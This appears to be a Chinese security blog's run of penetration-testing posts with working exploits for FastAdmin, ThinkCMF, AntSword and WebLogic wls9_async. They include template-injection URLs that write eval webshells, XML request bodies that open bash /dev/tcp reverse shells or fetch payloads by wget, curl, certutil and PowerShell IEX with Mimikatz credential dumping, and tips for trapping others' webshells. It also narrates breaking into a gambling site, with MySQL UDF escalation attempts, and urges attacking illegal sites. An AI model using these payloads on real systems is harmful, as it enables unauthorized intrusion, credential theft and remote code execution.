fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析 渗透测试

0x1.简介

FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。

补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。

影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta

修复建议:

升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:

https://www.fastadmin.net/download.html

0x2.漏洞详情

利用限制:需要开启会员中心功能,且登录会员中心。

/application/config.php 文件中:

  //是否开启前台会员中心
    'usercenter'            => true,

漏洞分析

/application/index/User.php 文件

第58-67行:

public function _empty($name)
    {    
        $data = Hook::listen("user_request_empty", $name);
            foreach ($data as $index => $datum) {
            $this->view->assign($datum);
            }
    return $this->view->fetch($name);
}

user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);

此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。

fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容

fetch() 函数的关键内容如下:

public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }
        // 模板不存在 抛出异常
        if (!is_file($template)) {
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);
    }

继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。

总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell

另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:

1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:

is_file.png

is_file_linux.png


2、在linux下, is_file() 函数判可用于判断符号链接

3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false

4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致

is_file_d.png

is_file_d2.png


5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败

0x3.漏洞验证

通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。

利用过程如下:

在前台的会员中心,个人资料处,上传修改头像:

headpic.png

抓包后修改图片数据(满足图片头格式即可):

bp_head.png

记录下路径后,成功getshell

getshell.png

在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:

linux.png

当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:

linux2.png

最后感谢 @joseph 师傅提供的漏洞点,又学习了一波

文章出自:https://forum.90sec.com/t/topic/1294

作者:https://forum.90sec.com/u/panda

大家可以投稿90注册啊!给你们投票!哈哈哈


admin 发布于  2020-9-21 22:57 

HW弹药库之你的蚁剑shell还是你的shell吗? 技术文章

HW弹药库之你的蚁剑 shell 还是你的 shell 吗?可能从你的小宝贝变成了小叛徒哦!

——蚁剑 v2.1.8.1 查看站点 cookie html解析未过滤漏洞可反向 RCE

shell_test.png

0X0:背景

说来我等菜鸡是不会也没想过去审计这些工具源码,哪怕是开源的,都是拿来主义,大部分看官也是吧。

但是我这个人对于情报搜集特别感兴趣!时常监控一些开源项目或者官网的commit或者更新公告,这不前段时间就看到了芋头师傅(leohearts)提交了一个issue 包含了我的监控关键字 RCE

rce_issues.png

我当时就看了,当时复现了下,但是没有记录,等着 Medicean 师傅修好了我再发,前天,终于修了!距离提交的时间是十一天过后,可能师傅工作比较忙吧!

0X1:复现环节

打开我们的主角-antSword ,在关于程序里面可以看到版本为 v2.1.8.1,下面开始测试,首先在本地PHP环境目录写一个html文件,内容为:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3>
    <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script>
</body>
</html>

然后在 antSword 里面添加我们的本地测试URL,密码 连接类型这些随便写,地址写对了就行

add_shell.png

添加好了之后,在本地使用 NC 监听 nc -lv 666 因为上面的 base64 编码后的就是反弹 shell 到我们的666端口,不多说,不懂得 Google

然后我们再用 antSword 右键的 查看站点(英文的为 View Site)即可触发获得一个 shell

view_site.png

看一下 Medicean 师傅的 commit 极了可以看到修复的方式是在 cookie 取值的部分添加了 noxss 方法来进行了 XSS 过滤

fix_256.png

0X2:漏洞利用

复现完毕后我就在思考,能不能借此做点小动作?答案是可以的!

想一下,本身是 html格式的URL地址,除了故意这么去复现的查看站点,很少有人拿到shell后去这么干!除非 shell 需要设置 cookie,从 cookie 里取值,这个时候就很容易想到蚁剑的 AES shell 需要设置 cookie ,那就有利用的可能了!

有两种情况,第一种是本身就是 PHP 的 shell ,如果 黑客的 webshell 是使用的 蚁剑的 AES webshell ,基本代码如下:

<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

假如黑客 webshell 如上 名为 shell.php ,我们可以把他的 shell 改为如下内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3>
    <?php
    @session_start();
    $pwd='ant';
    $key=@substr(str_pad(session_id(),16,'a'),0,16);
    @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
    ?>
    <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script>
</body>
</html>

直接把他的 shell 改为 html 和 PHP 代码混写!

aes_shell_rce.png

因为 PHP 本身就可以这么写,而且可以同时执行 PHP 代码和 html 代码。

当然,真实情况下我们要做的隐蔽点 把 没必要的 标题和 H3 这些丢弃。改写后的 shell 如何让黑客再次使用 查看站点 功能来获取 cookie 这是个问题,需要让他原本保存的 cookie 失效,比如重启 PHP 清除缓存 等方法尝试,假设你达成了如上条件,成功清除了 黑客 shell cookie ,那么接下来就是他 连接 shell 发现连接不上,打开 shell 地址发现还在,可能会使用 查看站点的功能来 获取cookie ,就可以顺利的 获得一个反向shell。

shell_rce.png

测试是在 Mac 环境下测试,可以根据情况修改需要执行的操作,比如直接执行 CS 后门或者 PS下载执行 等等。

0X3:总结

这个漏洞很鸡肋!

其一:需要使用 查看站点功能;

其二:需要让之前的shell cookie 失效;

其三:配合特定的环境,比如解析漏洞或者.htaccess

但是也是一种思路,说不定你就可以借此反日 大黑阔!哈哈哈。各位朋友,使用工具须谨慎!说不定还要未公开的 XXday 等着你上钩呢!最起码 把工作和生活用电脑环境区分开,使用个虚拟机,虚拟机一定要开启自动升级,保持最新版,虚拟机里最好再套两层代理,保护自己,保护大家!

参考连接:

https://github.com/AntSwordProject/antSword/issues/256

https://github.com/AntSwordProject/antSword/commit/0d5b8b7c4f5f9520b0cacb7306beb190efa19881


admin 发布于  2020-9-7 00:48 

ThinkCMF5.x以下漏洞合集 渗透测试

需要普通用户权限,默认可注册
paylaod:

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+- 

还有以下可以测试:

post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind 
  • 前台模版注入漏洞-可getshell四处
# 仅在Windows环境测试
# 第一处  
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处  
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=

# 第三处  
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

# 第四处
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg==")); 
  • 任意文件删除-只能windows删除

在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)

POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

imgurl=..\..\..\test.txt 
  • 任意文件上传

在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'

  • 任意文件包含(读取数据库配置等等)
    /index.php?a=display&templateFile=README.md

使用说明

thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。 1.看logo 3的logo是黄色的. 2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之. 3.查看 README.md 在网站url后面输入README.md. 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个模板不存在错:

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php> 

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index 
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php> 
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index 

还有最后一句废话:模版注入对于linux 并不好用 : )

更多漏洞POC-持续收集中-https://github.com/Mr-xn/Penetration_Testing_POC
参考:
https://xz.aliyun.com/t/3409 
https://xz.aliyun.com/t/3529
 https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集


admin 发布于  2019-10-28 21:21 

ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试

0x00 简介

    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本 

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x03 漏洞利用&测试环境



测试环境:

测试版本:thinkcmf 2.2.2

phpstudy pro

windows 10



一共有两种方式:

第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:

/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

第一种漏洞复现截图如下:

thinkcmf之getshell.png

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 

/index.php?a=display&templateFile=README.md

第二种漏洞复现截图如下:

thinkcmf任意文件包含二.png



0x04 漏洞分析

    根据index.php的第25行可知道项目相对路径为application目录:

//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');



    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:

可以看到只有一个公共的display方法:

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
        $this->display(":index");
    }

}



    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

thinkcmf几个权限为public的函数.png

    这边有问题的是display函数和fetch函数:

    display函数的作用是加载模板和页面输出,所对应的参数为:

$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:

public function parseTemplate($template='') {...}



    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

 /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀* * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }



    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:

/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

thinkcmf之getshell2.png

0x05 修复方式

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

修改修饰为protected即可防御.png

还有另一种getshell的方法:

thinkcmf前台getshell.png

参考:


https://www.freebuf.com/vuls/217586.html

https://xz.aliyun.com/t/3529


admin 发布于  2019-10-25 05:29 

CNVD-C-2019-48814 Weblogic wls9_async_response 反序列 渗透测试

0x1.背景

首先,CNVD收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-C-2019-48814)。

0x2.漏洞描述

攻击者利用该漏洞,可在未授权的情况下远程执行命令。从相关信息来看。 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。 也就是说漏洞出现在 wls9_async_response.war 这个包里面,来详细看一看

0x3.影响范围 

主要影响以下版本:

WebLogic Server 10.3.6.0

WebLogic Server 12.1.3.0

WebLogic Server 12.2.1.3

0x4.复现漏洞环境 

而今天复现的就是第一个版本,即WebLogic Server 10.3.6.0(wls1036_generic.jar)。

Kali2019\Win10(关闭安全中心实时防护下)

漏洞组件:bea_wls9_async_response.war

漏洞路径:http://ip:port/_async/AsyncResponseService

漏洞确认:访问漏洞路径存在以下页面,即有可能存在漏洞

WebLogic高危漏洞复现.png

漏洞利用(所有利用都需要被攻击机能够访问公网):

所有的POST报文都可以使用burpsuite完成,burpsuite破解、汉化、插件等相关教程:传送门


一、Linux下

1、反弹shell

POST如下报文即可:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>



Linux下反弹shell.jpg



2、上传webshell


  1. 放置一个webshell.txt到公网
  2. POST以下报文 任选其一

报文一:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>  

报文二:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

3、访问webshell



http://ip:port/_async/webshell.jsp



Linux下访问shell.png



二、Windows下 

1、反弹shell

可直接使用黑客工具-后渗透工具-CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

win下反弹shell.jpg



2、上传webshell

  1. 放置一个webshell.txt到公网
  2. 使用以下报文 任选其一均可



报文一:


POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

报文二:


POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
3.访问webshell
http://ip:port/_async/webshell.jsp

win下访问shell.jpg

(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)

0x5.缓解措施

高危:预计网上很快会有该远程代码执行漏洞的POC,建议尽快升级软件和使用连接筛选器临时拒绝T3/T3s协议。

建议尽快安装安全更新补丁(可以使用BSU智能更新)或使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:

连接筛选器:weblogic.security.net.ConnectionFilterImpl

规则示例: 0.0.0.0/0 7001 deny t3 t3s#拒绝所有访问

允许和拒绝指定IP规则示例:

192.168.1.0/24
7001 allow t3 t3s#允许指定IP段访问

192.168.2.0/24 * 7001 deny t3 t3s#拒绝指定IP段访问

连接筛选器说明参考:

https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377

威胁推演:此漏洞为远程代码执行漏洞,基于全球使用该产品用户的数量和暴露在网上的端口情况,恶意攻击者可能会开发针对该漏洞的自动化攻击程序、黑客工具,实现漏洞利用成功后自动植入后门程序,并进一步释放矿工程序或是DDOS僵尸木马等恶意程序,从而影响到网站服务的正常提供。

安全运营建议:Oracle WebLogic历史上已经报过多个安全漏洞(其中也有反序列化漏洞),建议使用该产品的企业经常关注官方安全更新公告。



来源:https://bithack.io/forum/152&nbsp;

修正:此前没看急于发文,导致写错标题,对不起大家。感谢评论有个兄弟说出来,谢谢!


admin 发布于  2019-10-17 20:14 

从朋友圈XX中奖getshell到提权服务器过程简单记录 渗透测试

注意:所有的过程仅供渗透学习研究参考,禁止用于他途。

建议学习渗透的朋友搜索一些非法网站的关键词来进行实战练习!干爆他们!



0x1 背景

在朋友圈发现小姨转发了一篇XXX中奖,打开一开是XX彩票,其实就是菠菜的皮,果断先劝小姨删掉这条朋友圈,就有了下面这篇文章:

0x2 信息搜集

发现目标系统是dedecms,且为windows系统(文件名大小写快速判断),果断使用我项目里收集的改良版爆破dedecms后台的py脚本 多给我点点 Star啊!

几十秒钟后成功爆破得到后台路径:http://xxxx.com/xaxaxa

打开发现没有验证码,果断使用burpsuite抓包爆破,但是没有收获!

暂停去喝杯水,回来用后台路径xaxaxa作为用户名密码登录成功进入后台,文件管理哪里,直接上传文件,直接getshell

由此可知,服务器没有WAF,不然上传shell肯定被拦截!

蚁剑走起,因为发现冰蝎并不是太好用,对环境有一定要求。

0x3 提权:

首先想到的是mysql udf提权

通过查看dedecms的数据库配置文件 /data/common.inc.php得到数据库帐号,而且还是root帐户。

本以为可以顺利提权的,结果GG!记录一下吧:



查看MySQL版本,因为在高版本中有个参数至关重要,就是secure-file-priv,这个参数限制了MySQL的导出;

该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。

这个参数在各个版本中的表现如下:

MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL;

MySQL5.6版本:my.ini中无此参数,查询该参数情况为空;

MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹。



mysql> select version();

+-----------+

| version() |

+-----------+

| 5.5.46    |

+-----------+

1 row in set (1.28 sec)



事实证明这个用来确认系统版本不准确!因为这个是MySQL的版本,并不是系统版本。

mysql> select @@version_compile_os, @@version_compile_machine;

+----------------------+---------------------------+

| @@version_compile_os | @@version_compile_machine |

+----------------------+---------------------------+

| Win32                | x86                       |

+----------------------+---------------------------+

1 row in set (2.01 sec)



mysql> show variables like '%compile%';

+-------------------------+-------+

| Variable_name           | Value |

+-------------------------+-------+

| version_compile_machine | x86   |

| version_compile_os      | Win32 |

+-------------------------+-------+

2 rows in set (1.86 sec)



mysql> select @@plugin_dir;

+-------------------------------------------------+

| @@plugin_dir                                    |

+-------------------------------------------------+

| D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\ |

+-------------------------------------------------+

1 row in set (1.26 sec)



mysql> select load_file('D:\www\xxxxxxxxxx.com\a\chanpinzhongxin\lib_mysqludf_sys_32.dll') into dumpfile 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll';

1 - Can't create/write to file 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll' (Errcode: 13)



还尝试过使用HEX来进行写入,也宣告失败。

最后进了系统后发现那个文件夹管理员都没有直接查看权限!还需要先取得所有权才能查看!我丢!难怪root权限的mysql帐户也不能导出dll。

真的是实战渗透你会发现什么样的环境都有,很少有教科书一样的环境,需要自己灵活变通,所有的教程都只能是参考!



0x4 使用EXP打,梭哈:

